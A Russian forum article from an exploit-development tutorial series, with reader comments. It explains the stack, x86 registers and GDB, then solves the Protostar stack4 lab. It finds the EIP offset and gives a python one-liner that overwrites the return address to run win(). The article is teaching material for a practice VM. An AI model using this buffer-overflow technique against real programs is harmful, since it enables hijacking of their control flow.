• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Переполнение буфера и перезапись адреса возврата - Изучение методов эксплуатации на примерах, часть 5

Все части переполнение буфера
Предыдущая часть Переполнение буфера и перезапись указателя на функцию - разработка эксплойтов, часть 4
Следующая часть Переполнение буфера и размещение шеллкода в памяти - разработка эксплойтов, часть 6

Привет codeby =) Продолжу тему по разработке эксплоитов. В предыдущей статье мы научились перезаписывать указатель на функцию используя уязвимость переполнения буфера. В этой статье мы продолжим изучать переполнение буфера, рассмотрим еще один вариант как можно перезаписать указатель на функцию, а так же поговорим с вами о памяти компьютера и освоим с вами отладчик GDB. И так...

Память, локальные переменные, аргументы и стек
До сегодняшнего момента я вам наглым образом ничего не рассказывал о памяти и работе процессора, настало время истины... Когда запускается программа, она загружается в память компьютера со всеми данными, всеми библиотеками и со всеми командами которые выполняет сама программа. И когда это произошло нет не какого отличия по сути между данными и командами. Если открыть к примеру программу в отладчике, то можно в этом убедится. Мы увидим там не код программы на языке высокого уровня, а код на ассемблере, который приближён к машинному коду 101110 единицам и нуля. К слову вся память она делится на регионы - области. В какой то части хранятся, команды, данные, переменные... И в низу самом низу памяти находится куча и стек.

Это две основные области памяти для работы программы.

Куча (heap) используется для динамического выделения памяти, например под какой нибудь большой массив...
А стек (stack) для хранения в основном аргументов функций и локальных переменных.

Когда вы компилируете программу она сначала перегоняется в object файл, а затем в машинный код и собственно процессор выполняет этот код. Для работы процессор использует регистры, всего их 8 штук. Он постоянно ими оперирует перегоняя данные из одного регистра в другой, меняет их местами и так далее. К слову регистр - это такое устройство, которое хранит в себе некоторую информацию.

Есть три основных регистра которые используются при работе.
* Регистр EIP - указывает на адрес в памяти, какая инструкция (команда) должна выполнится следующей.
* Регистр ESP - указывает на вершину стека (адрес в памяти).
* Регистр EBP - указывает на стековый фрейм (как переменные и аргументы располагаются в памяти).

Эти регистры надо запомнить!!! Надо еще сказать, что это регистры x86-архитектуры процессора, так, как образ Protostar - 32 битная система. Теперь поговорим о стеке и именно на нем очень многое завязано как и на куче.

Как я и сказал выше стек это область памяти и он обрабатывается особым образом.

К примеру у нас есть такой код
C:
#include <stdio.h>
#include <string.h>

int main(){
    char overflow[] = "AAAAAAAAAA";
    char buffer[8];
    strcpy(buffer,overflow);
    return 0;
}
И когда это всё переходит в машинный код, вызов функций выглядит следующим образом, т.е. когда программа дает возможность действовать подпрограмме. Простым языком, когда главная функция main() разрешает выполнится функции strcpy() или любой другой функции (подпрограмме). Так вот вызов функций будет выглядеть следующим образом.

В стек с начало попадают аргументы функций, аргументы справа налево.

В нашем случае в программе выше с начало в стек попадет overflow затем, buffer.

Далее... Сохраняется место для адреса инструкции (команды), или вернее сказать адрес инструкции (команды) куда вернется работа программы, после того как функция выполнится. Простым языком это когда функция отработала она передает управление от куда ее вызвали. (Return address).

После чего кладется в стек EBP для того, чтобы программе было удобно перегонять (жонглировать) локальные переменные и аргументы функций.

Локальные переменные и аргументы функций записываются относительно регистра EBP, локальная переменная которая лежит выше это EBP-4 еще выше это EBP-8 (уменьшается еще на 4) Если обращаться к аргументам это +8 +16 зависимости от размера... Дополнительно почитать о стеке можно .

Теперь говорим об отладчике GDB.

GDB - основные команды для отладки программ
Когда вы запускается программу под отладчиком, первое, что надо сделать это установить вывод ассемблерных команд в формате Intel, по умолчанию GDB использует синтаксис AT&T.

Для того чтобы это сделать надо выполнить в отладчике следующее...

set disassemly intel

Чем отличается синтаксис AT&T от Intel'a ?

27333


А отличается AT&T от Intel'a, тем, что в синтаксисе AT&T есть такие знаки, как процент и знак доллара. По этим признакам вы его всегда узнаете, в то время, как синтаксисе Intel этого нет.

Рассмотрим не большой пример на основе команды mov. Эта команда пересылает данные.
К тому же синтаксис AT&T для команды mov будет следующий

mov <источник>, <назначение>

В то время как у Intel'a
mov <назначение>, <источник>

Вы можете использовать любой из них, но я советую вам использовать синтаксис Intel, хоть команды наоборот, но он более понятный.
Если вы закроете отладчик, и заново его потом запустите, то вы опять увидите синтаксис AT&T и та настройка синтаксиса действует только на время отладки текущей программы. Если вы не хотите постоянно вводить данную опцию для отображения, то можно поместить в корневой каталог такой файл.

Значит последовательность действий будет следующей
nano ~/.gdbinit
пишем текст: set disassembly-flavor intel
Затем нажимаем F2, Y, Enter.

После чего при каждом старте GDB будут выполнены все команды, которые находятся в файле .gdbinit

Теперь рассмотрим основные команды для GDB... но на самом деле их очень много, поэтому только основные на данный момент.

run - запуск программы под отладчиком (сокр. команды - r)

stepi - команда выполнит ровно одну инструкцию процессора и остановится на следующей.

nexti выполнит тоже одну инструкцию но перепрыгнет, если следующая инструкция будет подпрограмой - функцией (call)

Т.е. зайти внутрь функции (stepi) или же перейти к следующей команде (nexti)

break main - команда break устанавливает точку останова на указанном месте, и при выполнение программы под отладчиком, программа остановится в указанном месте (сокр. команды - b), в данном примере точка останова установлена на функции main().

b main.c:7 - точка останова установлена используя исходник программы на строчке 7. Удобно в том, случае когда ваша программа скомпилирована с флагом -g. (gcc -g main.c -o main)

b *0x40056d - точка останова по указанному адресу в памяти, с начало пишется звездочка потом сразу адрес в памяти.

continue - команда для продолжения выполнения программы после того, как вы установили точку останова (сокр. команды - с)

info breakpoints - покажет информацию об всех установленных точках останова (сокр. команды - i b)

disable 1 - команда убирает первую точку останова

info registers - команда покажет информацию об регистрах и их значениях в текущем их времени (сокр. команды - i r)

info register $eip -команда покажет информацию об конкретном регистре, в данном случае о EIP (сокр. команды - i r $eip)

disassemble - команда дизассемблирует инструкции в текущей функции, например если мы находимся main то получим листинг ассемблерных команд этой функции. (сокр. команды - disas). Но обычно так не используют, а пишут эту команду с конкретным названием функции.

например
disas win, как мы это делали в предыдущей статье.

Теперь рассмотрим как посмотреть значения ячеек памяти
x 0x400634 команда х позволяет заглянуть в ячейку памяти по указанному адресу.
И по умолчанию выводит 4 байтовое значение, т.е. 4 байта памяти, а значение ячейки выводится в шестнадцатеричной системе счисления.
*** 0x400634: 0x000a6425

Если надо вывести большее значение памяти не 4 , а 8 байт, то тогда
x/2 0x400634
*** 0x400634: 0x000a6425 0x3b031b01

Если не устраивает вывод значения в шестнадцатеричном формате, можно вывести значение по адресу в десятичном форме.
x/2d 0x400634 - что означает покажи мне по такому адресу два целых 4 байтовых числа

вывод вещественных чисел (чисел с запятой )
x/2f 0x400634

Собственно формат вывода может любым
x/o <адрес или $регистр> - восьмеричная
x/x - шестнадцатеричная
x/d - десятичная
x/u - десятичная без знаковая
x/t - двоичная
x/c - символьная

Выводит один байт в шестнадцатеричном значение по этому адресу
x/1xb 0x400634

Вывести 4 однобайтовых символа по адресу
x/4cb 0x400634

b байт
h полуслово (два байта)
w слово (четыре байта)
g двойное слово (восемь байтов)

Команды связанные с командой "x" это основные команды для изучения памяти и то как программа работает для эксплойтинга.

finish - команда завершения отладки

quit - выход из отладчика

Теперь приступим к решению нашего ExploitMe!!!

Описание ExploitMe
Stack4 рассматривает перезапись сохраненного EIP и стандартное переполнение буфера.

Этот уровень находится в / opt / protostar / bin / stack4

, VM

Советы
  • Может помочь множество вводных статей о переполнении буфера.
  • GDB позволяет вам «run < input»
  • EIP находится не сразу после конца буфера, заполнение компилятором также может увеличить размер.
Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Решение
Здесь всё практически тоже самое аналогично предыдущему уровню, за исключением того, что тут нет указателя на не существующую функцию. Возникает вопрос каким образом теперь мы будем вызывать функцию win() ? Ведь у нас нету локальной переменной, в том же кадре стека, как это было с указателем в прошлый раз. Посмотрим еще раз описание нашего ExploitMe и подсказку... Там говорится о регистре EIP...

Исходя из этого будем значит работать с отладчиком GDB и регистром EIP.

К слову о том, что представляет собой этот регистр.

Регистр EIP — служебный регистр. Указывает на текущую исполняемую инструкцию процессора.

Запись в этот регистр командами перемещения данных невозможна. Этот регистр изменяет сам процессор при переходе на следующую команду, или программист инструкциями перехода, вызова процедур и командами организации цикла.

Регистр EIP имеет разрядность 32 бита. К 16-ти младшим битам регистра можно обратиться по имени IP.

Одним из наиболее распространенных способом изменения значения регистра EIP является запись в стек значения и выполнения команды RET. При выполнении этой команды процессор перейдет на инструкцию, расположенную по указанному адресу.

Из текста выше можно понять, что для того чтобы подсунуть в регистр EIP нужный нам адрес, а именно адрес функции win(), нам надо переполнить буфер таким образом, чтобы перезаписать адрес возврата (RET) основной функции, т.е. main(). Когда программа или функция завершает выполнение, она должна вернуться к тому, что ее вызвало. Этот адрес хранится в стеке в начале кадра. Пожалуй приступим.

Запустим программу под GDB

gdb -q ./stack4

Вычислим адрес функции win()

disas win

27366


Функция win() находится по адресу 0x080483f4, теперь нам надо переполнить буфер, таким образом, чтобы получить ошибку сегментации памяти - «Segmentation fault». Эта ошибка будет обозначать, то, что мы перезаписали регистр EIP. Поэтому мы будем увеличивать на 4 байта каждый раз, поскольку EIP занимает четыре байта (32 бита). Метод не очень хорош но воспользуемся именно им, затем попробуем другой метод.

Значит выходим из отладчика (quit) и запускаем несколько команд...

python -c "print '\x41' * 64" | ./stack4
python -c "print '\x41' * 68" | ./stack4
python -c "print '\x41' * 72" | ./stack4
python -c "print '\x41' * 76" | ./stack4

Отлично мы получили ошибку «Segmentation fault».

Рассмотрим способ номер два. Создадим файл
nano ~/offset_eip.txt
Далее запишем в него такую последовательность букв алфавита
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Выйдем и сохраним F2,y,enter.

Теперь откроем нашу программу под отладчиком.
gdb -q ./stack4
затем запустить нашу программу и перенаправим вывод из созданного нами файла в нашу программу.
run < ~/offset_eip.txt

27398


И видим ошибку сегментации. Что программа пыталась обратиться к несуществующей функции по адресу 0x54545454.
Теперь посмотрим значение регистров
info registers

27399


И видим, что по мимо регистра EIP так же перезаписалось значение регистра EBP. Теперь узнаем и посмотрим чему равно значение "0x54". В это значение равняется букве "T", стало быть 4 байта из букв "T", это то значение которое перезаписывает EIP. А так, как в нашем текстовом документе строка составляет алфавит, буква T это 20 буква по счету, то нам нужна 19 буква алфавита. Буква "S" как раз таки и ровняется значению 0x53, о чем свидетельствует регистр EBP. Ну , а по сколько в строке было по 4 одинаковых буквы, то смещение это 19 * 4 = 76 байт. Вот и все таким образом мы опять вычислили смещение.

Теперь рассмотрим третий вариант, на этом варианте мы по сути должны воспользоваться Metasploit'ом, а точнее говоря двумя модулями pattern_create.rb и pattern_offset.rb. Первый модуль нужен для генерации уникальной мусорной строки, а второй для вычисления адреса смещения. И весь алгоритм действий сводится к тому, что мы с генерировали бы уникальную мусорную строку для буфера превышающую его в два раза. Т.е. 64 * 2 = 128 , скормили бы нашу строку под отладчиком для нашей программы, получили бы адрес, а затем с помощью модуля оффесетов подставили бы полученный адрес, который выплюнул нам отладчик, а на выходе мы бы получили число на ск байт произошло смещение. Вот к примеру он делает тоже самое, что и данные модули msf.

По суте даже метасплойт не нужен...

27400


Теперь мы можем сказать, что 80 байт это та область, которая перезаписывает EIP, поэтому нам понадобится 76 байтов мусора и адрес функции win(), который мы уже знаем.

Перейдем к эксплуатации уязвимости.

python -c "print '\x41' * 76 + '\x08\x04\x83\xf4'[::-1]" | ./stack4

Вот и всё на экране отобразились две строки «code flow successfully changed» и «Segmentation fault» можно переходить на следующий уровень .
 

deadroot

Green Team
06.01.2019
60
142
BIT
2
Интересные статьи. А вы будете рассматривать фаззинг с такими проектами как или , например?
 
  • Нравится
Реакции: Tapfer, Vander и fuzzz

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Интересные статьи. А вы будете рассматривать фаззинг с такими проектами как или , например?
Спасибо, очень радует положительный отзыв.

Обязательно расскажу о фаззинге с практическими примерами, но до этого еще далеко многие темы не затронуты. Надо как минимум рассказать хотя бы о SEH\DEP\ASLR =)
 
R

ryppp

Есть три основных регистра которые используются при работе.
* Регистр EIP - указывает на адрес в памяти, какая инструкция (команда) должна выполнится следующей.
EIP - текущая инструкция (которая исполняется)
по моему так, если не ошибаюсь...
Опечатка, поправьте пожалуйста...
 

ulan75

New member
17.02.2019
1
0
BIT
2
Хорошие статьи, понятно и в то же время достаточно глубоко.
Скажите вы планируете рассмотреть решение всех задач реализованных в ВМ protostar и с какой периодичностью будут выходить статьи?
 

Bringer_the_Light

Green Team
02.03.2017
109
127
BIT
0
Привет codeby =) Продолжу тему по разработке эксплоитов. В предыдущей статье мы научились перезаписывать указатель на функцию используя уязвимость переполнения буфера. В этой статье мы продолжим изучать переполнение буфера, рассмотрим еще один вариант как можно перезаписать указатель на функцию, а так же поговорим с вами о памяти компьютера и освоим с вами отладчик GDB. И так...

Память, локальные переменные, аргументы и стек
До сегодняшнего момента я вам наглым образом ничего не рассказывал о памяти и работе процессора, настало время истины... Когда запускается программа, она загружается в память компьютера со всеми данными, всеми библиотеками и со всеми командами которые выполняет сама программа. И когда это произошло нет не какого отличия по сути между данными и командами. Если открыть к примеру программу в отладчике, то можно в этом убедится. Мы увидим там не код программы на языке высокого уровня, а код на ассемблере, который приближён к машинному коду 101110 единицам и нуля. К слову вся память она делится на регионы - области. В какой то части хранятся, команды, данные, переменные... И в низу самом низу памяти находится куча и стек.

Это две основные области памяти для работы программы.

Куча (heap) используется для динамического выделения памяти, например под какой нибудь большой массив...
А стек (stack) для хранения в основном аргументов функций и локальных переменных.

Когда вы компилируете программу она сначала перегоняется в object файл, а затем в машинный код и собственно процессор выполняет этот код. Для работы процессор использует регистры, всего их 8 штук. Он постоянно ими оперирует перегоняя данные из одного регистра в другой, меняет их местами и так далее. К слову регистр - это такое устройство, которое хранит в себе некоторую информацию.

Есть три основных регистра которые используются при работе.
* Регистр EIP - указывает на адрес в памяти, какая инструкция (команда) должна выполнится следующей.
* Регистр ESP - указывает на вершину стека (адрес в памяти).
* Регистр EBP - указывает на стековый фрейм (как переменные и аргументы располагаются в памяти).

Эти регистры надо запомнить!!! Надо еще сказать, что это регистры x86-архитектуры процессора, так, как образ Protostar - 32 битная система. Теперь поговорим о стеке и именно на нем очень многое завязано как и на куче.

Как я и сказал выше стек это область памяти и он обрабатывается особым образом.

К примеру у нас есть такой код
C:
#include <stdio.h>
#include <string.h>

int main(){
    char overflow[] = "AAAAAAAAAA";
    char buffer[8];
    strcpy(buffer,overflow);
    return 0;
}
И когда это всё переходит в машинный код, вызов функций выглядит следующим образом, т.е. когда программа дает возможность действовать подпрограмме. Простым языком, когда главная функция main() разрешает выполнится функции strcpy() или любой другой функции (подпрограмме). Так вот вызов функций будет выглядеть следующим образом.

В стек с начало попадают аргументы функций, аргументы справа налево.

В нашем случае в программе выше с начало в стек попадет overflow затем, buffer.

Далее... Сохраняется место для адреса инструкции (команды), или вернее сказать адрес инструкции (команды) куда вернется работа программы, после того как функция выполнится. Простым языком это когда функция отработала она передает управление от куда ее вызвали. (Return address).

После чего кладется в стек EBP для того, чтобы программе было удобно перегонять (жонглировать) локальные переменные и аргументы функций.

Локальные переменные и аргументы функций записываются относительно регистра EBP, локальная переменная которая лежит выше это EBP-4 еще выше это EBP-8 (уменьшается еще на 4) Если обращаться к аргументам это +8 +16 зависимости от размера... Дополнительно почитать о стеке можно .

Теперь говорим об отладчике GDB.

GDB - основные команды для отладки программ
Когда вы запускается программу под отладчиком, первое, что надо сделать это установить вывод ассемблерных команд в формате Intel, по умолчанию GDB использует синтаксис AT&T.

Для того чтобы это сделать надо выполнить в отладчике следующее...

set disassemly intel

Чем отличается синтаксис AT&T от Intel'a ?

Посмотреть вложение 27333

А отличается AT&T от Intel'a, тем, что в синтаксисе AT&T есть такие знаки, как процент и знак доллара. По этим признакам вы его всегда узнаете, в то время, как синтаксисе Intel этого нет.

Рассмотрим не большой пример на основе команды mov. Эта команда пересылает данные.
К тому же синтаксис AT&T для команды mov будет следующий

mov <источник>, <назначение>

В то время как у Intel'a
mov <назначение>, <источник>

Вы можете использовать любой из них, но я советую вам использовать синтаксис Intel, хоть команды наоборот, но он более понятный.
Если вы закроете отладчик, и заново его потом запустите, то вы опять увидите синтаксис AT&T и та настройка синтаксиса действует только на время отладки текущей программы. Если вы не хотите постоянно вводить данную опцию для отображения, то можно поместить в корневой каталог такой файл.

Значит последовательность действий будет следующей
nano ~/.gdbinit
пишем текст: set disassembly-flavor intel
Затем нажимаем F2, Y, Enter.

После чего при каждом старте GDB будут выполнены все команды, которые находятся в файле .gdbinit

Теперь рассмотрим основные команды для GDB... но на самом деле их очень много, поэтому только основные на данный момент.

run - запуск программы под отладчиком (сокр. команды - r)

stepi - команда выполнит ровно одну инструкцию процессора и остановится на следующей.

nexti выполнит тоже одну инструкцию но перепрыгнет, если следующая инструкция будет подпрограмой - функцией (call)

Т.е. зайти внутрь функции (stepi) или же перейти к следующей команде (nexti)

break main - команда break устанавливает точку останова на указанном месте, и при выполнение программы под отладчиком, программа остановится в указанном месте (сокр. команды - b), в данном примере точка останова установлена на функции main().

b main.c:7 - точка останова установлена используя исходник программы на строчке 7. Удобно в том, случае когда ваша программа скомпилирована с флагом -g. (gcc -g main.c -o main)

b *0x40056d - точка останова по указанному адресу в памяти, с начало пишется звездочка потом сразу адрес в памяти.

continue - команда для продолжения выполнения программы после того, как вы установили точку останова (сокр. команды - с)

info breakpoints - покажет информацию об всех установленных точках останова (сокр. команды - i b)

disable 1 - команда убирает первую точку останова

info registers - команда покажет информацию об регистрах и их значениях в текущем их времени (сокр. команды - i r)

info register $eip -команда покажет информацию об конкретном регистре, в данном случае о EIP (сокр. команды - i r $eip)

disassemble - команда дизассемблирует инструкции в текущей функции, например если мы находимся main то получим листинг ассемблерных команд этой функции. (сокр. команды - disas). Но обычно так не используют, а пишут эту команду с конкретным названием функции.

например
disas win, как мы это делали в предыдущей статье.

Теперь рассмотрим как посмотреть значения ячеек памяти
x 0x400634 команда х позволяет заглянуть в ячейку памяти по указанному адресу.
И по умолчанию выводит 4 байтовое значение, т.е. 4 байта памяти, а значение ячейки выводится в шестнадцатеричной системе счисления.
*** 0x400634: 0x000a6425

Если надо вывести большее значение памяти не 4 , а 8 байт, то тогда
x/2 0x400634
*** 0x400634: 0x000a6425 0x3b031b01

Если не устраивает вывод значения в шестнадцатеричном формате, можно вывести значение по адресу в десятичном форме.
x/2d 0x400634 - что означает покажи мне по такому адресу два целых 4 байтовых числа

вывод вещественных чисел (чисел с запятой )
x/2f 0x400634

Собственно формат вывода может любым
x/o <адрес или $регистр> - восьмеричная
x/x - шестнадцатеричная
x/d - десятичная
x/u - десятичная без знаковая
x/t - двоичная
x/c - символьная

Выводит один байт в шестнадцатеричном значение по этому адресу
x/1xb 0x400634

Вывести 4 однобайтовых символа по адресу
x/4cb 0x400634

b байт
h полуслово (два байта)
w слово (четыре байта)
g двойное слово (восемь байтов)

Команды связанные с командой "x" это основные команды для изучения памяти и то как программа работает для эксплойтинга.

finish - команда завершения отладки

quit - выход из отладчика

Теперь приступим к решению нашего ExploitMe!!!

Описание ExploitMe
Stack4 рассматривает перезапись сохраненного EIP и стандартное переполнение буфера.

Этот уровень находится в / opt / protostar / bin / stack4

, VM

Советы
  • Может помочь множество вводных статей о переполнении буфера.
  • GDB позволяет вам «run < input»
  • EIP находится не сразу после конца буфера, заполнение компилятором также может увеличить размер.
Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Решение
Здесь всё практически тоже самое аналогично предыдущему уровню, за исключением того, что тут нет указателя на не существующую функцию. Возникает вопрос каким образом теперь мы будем вызывать функцию win() ? Ведь у нас нету локальной переменной, в том же кадре стека, как это было с указателем в прошлый раз. Посмотрим еще раз описание нашего ExploitMe и подсказку... Там говорится о регистре EIP...

Исходя из этого будем значит работать с отладчиком GDB и регистром EIP.

К слову о том, что представляет собой этот регистр.

Регистр EIP — служебный регистр. Указывает на текущую исполняемую инструкцию процессора.

Запись в этот регистр командами перемещения данных невозможна. Этот регистр изменяет сам процессор при переходе на следующую команду, или программист инструкциями перехода, вызова процедур и командами организации цикла.

Регистр EIP имеет разрядность 32 бита. К 16-ти младшим битам регистра можно обратиться по имени IP.

Одним из наиболее распространенных способом изменения значения регистра EIP является запись в стек значения и выполнения команды RET. При выполнении этой команды процессор перейдет на инструкцию, расположенную по указанному адресу.

Из текста выше можно понять, что для того чтобы подсунуть в регистр EIP нужный нам адрес, а именно адрес функции win(), нам надо переполнить буфер таким образом, чтобы перезаписать адрес возврата (RET) основной функции, т.е. main(). Когда программа или функция завершает выполнение, она должна вернуться к тому, что ее вызвало. Этот адрес хранится в стеке в начале кадра. Пожалуй приступим.

Запустим программу под GDB

gdb -q ./stack4

Вычислим адрес функции win()

disas win

Посмотреть вложение 27366

Функция win() находится по адресу 0x080483f4, теперь нам надо переполнить буфер, таким образом, чтобы получить ошибку сегментации памяти - «Segmentation fault». Эта ошибка будет обозначать, то, что мы перезаписали регистр EIP. Поэтому мы будем увеличивать на 4 байта каждый раз, поскольку EIP занимает четыре байта (32 бита). Метод не очень хорош но воспользуемся именно им, затем попробуем другой метод.

Значит выходим из отладчика (quit) и запускаем несколько команд...

python -c "print '\x41' * 64" | ./stack4
python -c "print '\x41' * 68" | ./stack4
python -c "print '\x41' * 72" | ./stack4
python -c "print '\x41' * 76" | ./stack4

Отлично мы получили ошибку «Segmentation fault».

Рассмотрим способ номер два. Создадим файл
nano ~/offset_eip.txt
Далее запишем в него такую последовательность букв алфавита
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Выйдем и сохраним F2,y,enter.

Теперь откроем нашу программу под отладчиком.
gdb -q ./stack4
затем запустить нашу программу и перенаправим вывод из созданного нами файла в нашу программу.
run < ~/offset_eip.txt

Посмотреть вложение 27398

И видим ошибку сегментации. Что программа пыталась обратиться к несуществующей функции по адресу 0x54545454.
Теперь посмотрим значение регистров
info registers

Посмотреть вложение 27399

И видим, что по мимо регистра EIP так же перезаписалось значение регистра EBP. Теперь узнаем и посмотрим чему равно значение "0x54". В это значение равняется букве "T", стало быть 4 байта из букв "T", это то значение которое перезаписывает EIP. А так, как в нашем текстовом документе строка составляет алфавит, буква T это 20 буква по счету, то нам нужна 19 буква алфавита. Буква "S" как раз таки и ровняется значению 0x53, о чем свидетельствует регистр EBP. Ну , а по сколько в строке было по 4 одинаковых буквы, то смещение это 19 * 4 = 76 байт. Вот и все таким образом мы опять вычислили смещение.

Теперь рассмотрим третий вариант, на этом варианте мы по сути должны воспользоваться Metasploit'ом, а точнее говоря двумя модулями pattern_create.rb и pattern_offset.rb. Первый модуль нужен для генерации уникальной мусорной строки, а второй для вычисления адреса смещения. И весь алгоритм действий сводится к тому, что мы с генерировали бы уникальную мусорную строку для буфера превышающую его в два раза. Т.е. 64 * 2 = 128 , скормили бы нашу строку под отладчиком для нашей программы, получили бы адрес, а затем с помощью модуля оффесетов подставили бы полученный адрес, который выплюнул нам отладчик, а на выходе мы бы получили число на ск байт произошло смещение. Вот к примеру он делает тоже самое, что и данные модули msf.

По суте даже метасплойт не нужен...

Посмотреть вложение 27400

Теперь мы можем сказать, что 80 байт это та область, которая перезаписывает EIP, поэтому нам понадобится 76 байтов мусора и адрес функции win(), который мы уже знаем.

Перейдем к эксплуатации уязвимости.

python -c "print '\x41' * 76 + '\x08\x04\x83\xf4'[::-1]" | ./stack4

Вот и всё на экране отобразились две строки «code flow successfully changed» и «Segmentation fault» можно переходить на следующий уровень .
Спасибо за граммотный подход к важной теме,так держать и не сбавлять обороты,я думаю не долог час и место в команде борда будет обеспечено!))Мое уважение.
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Хорошие статьи, понятно и в то же время достаточно глубоко.
Скажите вы планируете рассмотреть решение всех задач реализованных в ВМ protostar и с какой периодичностью будут выходить статьи?
Да все задачи будут рассмотрены и не только эта VM. Статьи будут выходить не часто, но будут =) Сейчас загружен по полной, поэтому будет пауза...
 
Последнее редактирование:
  • Нравится
Реакции: Bringer_the_Light

Pavel Shuhray

Green Team
14.12.2016
12
4
BIT
1
Прошу прощения, а как скопировать мусорную строку в редактор nano? Или как перенести текстовый файл на виртуальную машину?
 
  • Нравится
Реакции: jonni_vu

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Прошу прощения, а как скопировать мусорную строку в редактор nano? Или как перенести текстовый файл на виртуальную машину?
Всё нормально )) Моя ошибка надо было чуть раньше об этом написать. В шестой части я написал не большую ремарку.
Вот выдержка из статьи

Ремарка

Начиная с этого момента нам будет не очень удобно работать напрямую с VM, т.е. взаимодействовать с ней. Особенно это касается копирование данных. Или когда нам надо запустить два окна сразу... Чтобы это исправить теперь мы будем не просто запускать VM и работать с ней, а теперь мы будем подключаться к VM по SSH используя клиент Putty. Для того, чтобы это сделать, надо в настройках VM в разделе "Сеть" включить виртуальный хост адаптера. После чего запустить VM, дальше выполнить команду
Код:
Код:
/sbin/ifconfig
Затем посмотрев IP-адрес машины (192.168.56.101) подключиться с помощью клиента Putty.

Просто надо подключатся через клиент Putty. Что-то копируешь вне ВМ. Дальше наводишь курсор мыши уже на открытый терминал Putty и нажимаешь правую кнопку мыши. И текст вставится, после копирования.
 

Aleks Binakril

Green Team
04.12.2019
38
5
BIT
0
а вашем цикле статей планируется практическое освещение такого инструмента как Метасплоит ?
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
а вашем цикле статей планируется практическое освещение такого инструмента как Метасплоит ?
Интересная задумка. Не думал об этом. Использовать его разве, что для генерации шеллкода - полезной нагрузки и для подсчета оффсетов скрипты - pattern_create, pattern_offset... А потом разве что написать свой вариант сплойта в виде модуля. Вы про это имеете введу ? В плане практики ?
 

krk

New member
07.12.2019
2
0
BIT
0
Может немного глупый вопрос, но почему массив на 64 байта, а eip начинается с 77?
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
М
Может немного глупый вопрос, но почему массив на 64 байта, а eip начинается с 77?
Мне не совсем понятен твой вопрос. Но попробую на него ответить.

Если я правильно вас понял, вопрос звучит так. Почему 77 байт нужно для того чтобы дотянутся до EIP ? чтобы его перезаписать ? Когда буфер всего лишь имеет 64 байта.

Да было выделено место программистом на 64 байта, массив. Когда собрали программу, т.е. скомпилировали там, компилятор выделил дополнительное место. Некую прослойку. Поэтому в сумме получилось такое-то значение.

Компилятор сам решает каждый раз по разному как ему поступить. И ск выделить места дополнительного. Такая уж у него прихоть.
 

Rizor

Member
24.06.2019
6
0
BIT
0
Я создал файл offset.txt, затем открыл gdb и прописал r < offset.txt, на что он выдал
"Program received signal SIGSEGV, Segmentation fault.
__strcpy_ssse3 () at ../sysdeps/i386/i686/multiarch/strcpy-ssse3.S:84
84 ../sysdeps/i386/i686/multiarch/strcpy-ssse3.S: No such file or directory."(я думал что что-то с кодом но все нормально и аргументы принимает и запускается)
что делать?
Код ниже к вопросу
1575983068613.png
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Я создал файл offset.txt, затем открыл gdb и прописал r < offset.txt, на что он выдал
"Program received signal SIGSEGV, Segmentation fault.
__strcpy_ssse3 () at ../sysdeps/i386/i686/multiarch/strcpy-ssse3.S:84
84 ../sysdeps/i386/i686/multiarch/strcpy-ssse3.S: No such file or directory."(я думал что что-то с кодом но все нормально и аргументы принимает и запускается)
что делать?
Код ниже к вопросу
Посмотреть вложение 35973

Ошибку "Program received signal SIGSEGV, Segmentation fault" ты получил. Что означает память повреждена. Это уже хорошо!

По идее у тебя должен быть адрес с ошибкой. А что ты передаешь в файле offset.txt программе?

код программы еще знакомый это вроде как Gera Secure Programming
 
Последнее редактирование:
  • Нравится
Реакции: Rizor

Rizor

Member
24.06.2019
6
0
BIT
0
Ошибку "Program received signal SIGSEGV, Segmentation fault" ты получил. Что означает память повреждена. Это уже хорошо!

По идее у тебя должен быть адрес с ошибкой. А что ты передаешь в файле offset.txt программе?

код программы еще знакомый это вроде как Gera Secure Programming
в оффсете я передаю множество значений от А до Z, код из курса по реверсу на платформе юдеми
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
в оффсете я передаю множество значений от А до Z, код из курса по реверсу на платформе юдеми
Скинь ссылку на курс посмотрю хоть, что там...

Короче смотри... Вот тебе сайт для паттерна креэйта и подсчета

Без файла попробуй сделать то что ты там задумал... Ошибка поэтому и вылезает у тебя потому как запуск с файлом тут не совсем верный. И проще тут сделать передать строку без файла.

Смотри

B0b63NB.png


gbjB4rN.png
 
Последнее редактирование:
  • Нравится
Реакции: Rizor

Rizor

Member
24.06.2019
6
0
BIT
0
Скинь ссылку на курс посмотрю хоть, что там...

Короче смотри... Вот тебе сайт для паттерна креэйта и подсчета

Без файла попробуй сделать то что ты там задумал... Ошибка поэтому и вылезает у тебя потому как запуск с файлом тут не совсем верный. И проще тут сделать передать строку без файла.

Смотри

Посмотреть вложение 35979

Посмотреть вложение 35980
Благодарю!
Курс:
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
